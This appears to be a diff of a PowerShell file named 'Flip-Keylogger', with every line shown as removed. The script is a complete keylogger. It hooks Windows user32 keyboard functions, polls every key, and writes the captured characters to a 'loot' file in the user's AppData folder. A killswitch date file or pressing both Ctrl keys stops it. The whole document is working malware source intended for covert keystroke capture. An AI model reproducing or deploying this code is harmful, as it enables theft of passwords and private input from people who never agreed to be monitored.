■ ■ ■ ■ ■ ■
Payloads/Flip-Keylogger/-keys.ps1
1 | | - | Add-Type -AssemblyName WindowsBase |
2 | | - | Add-Type -AssemblyName PresentationCore |
3 | | - | |
4 | | - | |
5 | | - | function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){ |
6 | | - | $signatures = @' |
7 | | - | [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] |
8 | | - | public static extern short GetAsyncKeyState(int virtualKeyCode); |
9 | | - | [DllImport("user32.dll", CharSet=CharSet.Auto)] |
10 | | - | public static extern int GetKeyboardState(byte[] keystate); |
11 | | - | [DllImport("user32.dll", CharSet=CharSet.Auto)] |
12 | | - | public static extern int MapVirtualKey(uint uCode, int uMapType); |
13 | | - | [DllImport("user32.dll", CharSet=CharSet.Auto)] |
14 | | - | public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); |
15 | | - | '@ |
16 | | - | |
17 | | - | $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru |
18 | | - | |
19 | | - | |
20 | | - | $null = New-Item -Path $Path -ItemType File -Force |
21 | | - | |
22 | | - | try |
23 | | - | { |
24 | | - | Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red |
25 | | - | |
26 | | - | while ($true) { |
27 | | - | Start-Sleep -Milliseconds 40 |
28 | | - | $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') |
29 | | - | $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') |
30 | | - | if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){exit} |
31 | | - | |
32 | | - | |
33 | | - | for ($ascii = 9; $ascii -le 254; $ascii++) { |
34 | | - | |
35 | | - | $state = $API::GetAsyncKeyState($ascii) |
36 | | - | |
37 | | - | |
38 | | - | if ($state -eq -32767) { |
39 | | - | $null = [console]::CapsLock |
40 | | - | |
41 | | - | |
42 | | - | $virtualKey = $API::MapVirtualKey($ascii, 3) |
43 | | - | |
44 | | - | |
45 | | - | $kbstate = New-Object Byte[] 256 |
46 | | - | $checkkbstate = $API::GetKeyboardState($kbstate) |
47 | | - | |
48 | | - | |
49 | | - | $mychar = New-Object -TypeName System.Text.StringBuilder |
50 | | - | |
51 | | - | $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) |
52 | | - | |
53 | | - | if ($success) |
54 | | - | { |
55 | | - | |
56 | | - | [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) |
57 | | - | } |
58 | | - | } |
59 | | - | } |
60 | | - | } |
61 | | - | } |
62 | | - | finally |
63 | | - | { |
64 | | - | |
65 | | - | #notepad $Path |
66 | | - | } |
67 | | - | } |
68 | | - | |
69 | | - | XXXlog |
70 | | - | |